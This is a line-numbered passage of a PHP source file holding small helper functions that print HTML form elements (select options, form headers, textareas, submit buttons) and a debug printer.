2510 if (is_array($arg['option'])) {
2511 foreach ($arg['option'] as $key=>$value) {
2512 if ($arg['selected']==$key) {
2513 p("<option value=\"$key\" selected>$value</option>");
2514 } else {
2515 p("<option value=\"$key\">$value</option>");
2516 }
2517 }
2518 }
2519 p("</select>");
2520 if ($arg['newline']) p('</p>');
2521}
2522function formhead($arg = array()) {
2523 !$arg['method'] && $arg['method'] = 'post';
2524 !$arg['action'] && $arg['action'] = $self;
2525 $arg['target'] = $arg['target'] ? "target=\"$arg[target]\"" : '';
2526 !$arg['name'] && $arg['name'] = 'form1';
2527 p("<form name=\"$arg[name]\" id=\"$arg[name]\" action=\"$arg[action]\" method=\"$arg[method]\" $arg[target]>");
2528 if ($arg['title']) {
2529 p('<h2>'.$arg['title'].' »</h2>');
2530 }
2531}
2532
2533function maketext($arg = array()){
2534 !$arg['cols'] && $arg['cols'] = 100;
2535 !$arg['rows'] && $arg['rows'] = 25;
2536 $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
2537 p("<p>$arg[title]<textarea class=\"area\" id=\"$arg[name]\" name=\"$arg[name]\" cols=\"$arg[cols]\" rows=\"$arg[rows]\" $arg[extra]>$arg[value]</textarea></p>");
2538}
2539
2540function formfooter($name = ''){
2541 !$name && $name = 'submit';
2542 p('<p><input class="bt" name="'.$name.'" id=\"'.$name.'\" type="submit" value="Submit"></p>');
2543 p('</form>');
2544}
2545
2546function formfoot(){
2547 p('</form>');
2548}
2549
2550// Exit
2551function pr($a) {
2552 echo '<pre>';
2553 print_r($a);
2554 echo '</pre>';
2555}